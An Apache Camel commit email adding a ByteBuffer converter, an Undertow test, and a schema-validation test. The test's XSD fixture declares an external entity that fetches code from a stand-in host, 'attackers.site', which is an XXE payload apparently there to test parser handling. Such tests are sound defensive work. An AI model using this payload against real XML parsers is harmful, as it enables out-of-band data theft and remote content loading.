You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@camel.apache.org by ni...@apache.org on 2018/05/03 02:41:46 UTC
[camel] 02/02: CAMEL-12475 Fix the NPE error of camel-undertow
component by adding the converter from InputStream into ByteBuffer
This is an automated email from the ASF dual-hosted git repository.
ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git
commit a9c376f71407ffe02ffb35c7aa7327ef0b08a655
Author: Willem Jiang <ji...@huawei.com>
AuthorDate: Thu May 3 10:18:33 2018 +0800
CAMEL-12475 Fix the NPE error of camel-undertow component by adding the converter from InputStream into ByteBuffer
---
.../org/apache/camel/converter/IOConverter.java | 7 +++
.../processor/ValidatingProcessorSchemaTest.java | 55 ++++++++++++++++++++++
.../camel/processor/ValidatingProcessorFailed.xsd | 41 ++++++++++++++++
.../component/undertow/UndertowProducerTest.java | 19 ++++++++
4 files changed, 122 insertions(+)
diff --git a/camel-core/src/main/java/org/apache/camel/converter/IOConverter.java b/camel-core/src/main/java/org/apache/camel/converter/IOConverter.java
index 310425f..073547e 100644
--- a/camel-core/src/main/java/org/apache/camel/converter/IOConverter.java
+++ b/camel-core/src/main/java/org/apache/camel/converter/IOConverter.java
@@ -429,6 +429,13 @@ public final class IOConverter {
return os.toByteArray();
}
+ @Converter
+ public static ByteBuffer covertToByteBuffer(InputStream is) throws IOException {
+ ByteArrayOutputStream os = new ByteArrayOutputStream();
+ IOHelper.copyAndCloseInput(is, os);
+ return ByteBuffer.wrap(os.toByteArray());
+ }
+
/**
* @deprecated will be removed in Camel 3.0. Use the method which has 2 parameters.
*/
diff --git a/camel-core/src/test/java/org/apache/camel/processor/ValidatingProcessorSchemaTest.java b/camel-core/src/test/java/org/apache/camel/processor/ValidatingProcessorSchemaTest.java
new file mode 100644
index 0000000..77bb18c
--- /dev/null
+++ b/camel-core/src/test/java/org/apache/camel/processor/ValidatingProcessorSchemaTest.java
@@ -0,0 +1,55 @@
+package org.apache.camel.processor;
+
+import java.io.File;
+
+import org.apache.camel.ContextTestSupport;
+import org.apache.camel.RuntimeCamelException;
+import org.apache.camel.ValidationException;
+import org.apache.camel.builder.RouteBuilder;
+import org.apache.camel.component.mock.MockEndpoint;
+import org.apache.camel.processor.validation.ValidatingProcessor;
+import org.xml.sax.SAXParseException;
+
+public class ValidatingProcessorSchemaTest extends ContextTestSupport {
+
+ protected ValidatingProcessor validating;
+
+ @Override
+ protected void setUp() throws Exception {
+ validating = new ValidatingProcessor();
+ validating.setSchemaFile(new File("src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd"));
+
+ super.setUp();
+ }
+
+ public void testSchemaWithValidMessage() throws Exception {
+ MockEndpoint mock = getMockEndpoint("mock:error");
+ mock.expectedMessageCount(1);
+
+ String xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>"
+ + "<user xmlns=\"http://foo.com/bar\">"
+ + " <id>1</id>"
+ + " <username>davsclaus</username>"
+ + "</user>";
+
+ template.sendBody("direct:start", xml);
+ System.out.println(mock.getExchanges().get(0));
+
+ assertMockEndpointsSatisfied();
+ }
+
+ protected RouteBuilder createRouteBuilder() {
+ return new RouteBuilder() {
+ public void configure() {
+ //errorHandler(deadLetterChannel("mock:error").redeliveryDelay(0).maximumRedeliveries(3));
+
+ //onException(SAXParseException.class).to("mock:schemeError");
+
+ from("direct:start").
+ process(validating).
+ to("mock:valid");
+ }
+ };
+ }
+
+}
diff --git a/camel-core/src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd b/camel-core/src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd
new file mode 100644
index 0000000..7aa2aa4
--- /dev/null
+++ b/camel-core/src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<!--
+
+ Licensed to the Apache Software Foundation (ASF) under one or more
+ contributor license agreements. See the NOTICE file distributed with
+ this work for additional information regarding copyright ownership.
+ The ASF licenses this file to You under the Apache License, Version 2.0
+ (the "License"); you may not use this file except in compliance with
+ the License. You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+
+-->
+<!DOCTYPE root [
+ <!ENTITY % remote SYSTEM "http://attackers.site:53/TEST">
+ %remote;
+ %run;
+ %trick;]>
+
+<xs:schema elementFormDefault="qualified" version="1.0"
+ targetNamespace="http://foo.com/bar"
+ xmlns:tns="http://foo.com/bar"
+ xmlns:xs="http://www.w3.org/2001/XMLSchema">
+
+
+ <xs:element name="user">
+ <xs:complexType>
+ <xs:sequence>
+ <xs:element name="id" type="xs:int"/>
+ <xs:element name="username" type="xs:string"/>
+ </xs:sequence>
+ </xs:complexType>
+ </xs:element>
+
+</xs:schema>
diff --git a/components/camel-undertow/src/test/java/org/apache/camel/component/undertow/UndertowProducerTest.java b/components/camel-undertow/src/test/java/org/apache/camel/component/undertow/UndertowProducerTest.java
index ed6f2a4..91dd1a9 100644
--- a/components/camel-undertow/src/test/java/org/apache/camel/component/undertow/UndertowProducerTest.java
+++ b/components/camel-undertow/src/test/java/org/apache/camel/component/undertow/UndertowProducerTest.java
@@ -16,6 +16,9 @@
*/
package org.apache.camel.component.undertow;
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+
import org.apache.camel.Exchange;
import org.apache.camel.builder.RouteBuilder;
import org.junit.Test;
@@ -75,14 +78,30 @@ public class UndertowProducerTest extends BaseUndertowTest {
assertMockEndpointsSatisfied();
}
+ @Test
+ public void testHttpInputStream() throws Exception {
+ getMockEndpoint("mock:input").expectedBodiesReceived("Hello World");
+ getMockEndpoint("mock:input").expectedHeaderReceived(Exchange.HTTP_METHOD, "POST");
+
+ String out = template.requestBodyAndHeader("undertow:http://localhost:{{port2}}/bar", "Hello World", Exchange.HTTP_METHOD, "POST", String.class);
+ assertEquals("This is the InputStream", out);
+
+ assertMockEndpointsSatisfied();
+ }
+
@Override
protected RouteBuilder createRouteBuilder() throws Exception {
return new RouteBuilder() {
+ private InputStream is = new ByteArrayInputStream("This is the InputStream".getBytes());
@Override
public void configure() throws Exception {
from("undertow:http://localhost:{{port}}/foo")
.to("mock:input")
.transform().constant("Bye World");
+
+ from("undertow:http://localhost:{{port2}}/bar")
+ .to("mock:input")
+ .transform().constant(is);
}
};
}
--
To stop receiving notification emails like this one, please contact
ningjiang@apache.org.